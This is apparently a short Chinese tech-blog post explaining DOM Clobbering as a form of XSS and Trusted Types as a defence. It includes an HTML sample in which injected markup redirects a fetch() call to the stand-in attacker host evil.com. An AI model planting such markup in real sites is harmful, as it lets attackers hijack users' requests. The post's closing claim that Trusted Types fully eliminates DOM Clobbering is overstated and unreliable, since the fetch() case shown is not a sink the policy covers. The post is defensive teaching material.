欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

XSS 进阶:DOM Clobbering 与 Trusted Types

发表于:|最后更新:|分类:安全与运维|阅读:4180 次
本文标签:前端安全XSSDOM

DOM Clobbering 是一种不依赖脚本注入的 XSS 变体,攻击者通过 HTML 元素覆盖全局变量,诱导合法脚本执行恶意逻辑。

一、攻击示例

html
<form id="config">
  <input name="apiUrl" value="https://evil.com">
</form>
<script>
  // 期望读取 window.config,实际被 DOM 元素覆盖
  fetch(window.config.apiUrl);
</script>

当页面允许用户注入 HTML(如富文本评论)时,id 或 name 属性会映射为全局变量,覆盖脚本预期的对象。

二、Trusted Types 防御

http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

启用后,所有写入 innerHTML、eval 等危险 Sink 的字符串必须经过 Trusted Types 策略净化,未净化的字符串将被浏览器直接拒绝,从根源上消除 DOM 型 XSS 与 DOM Clobbering。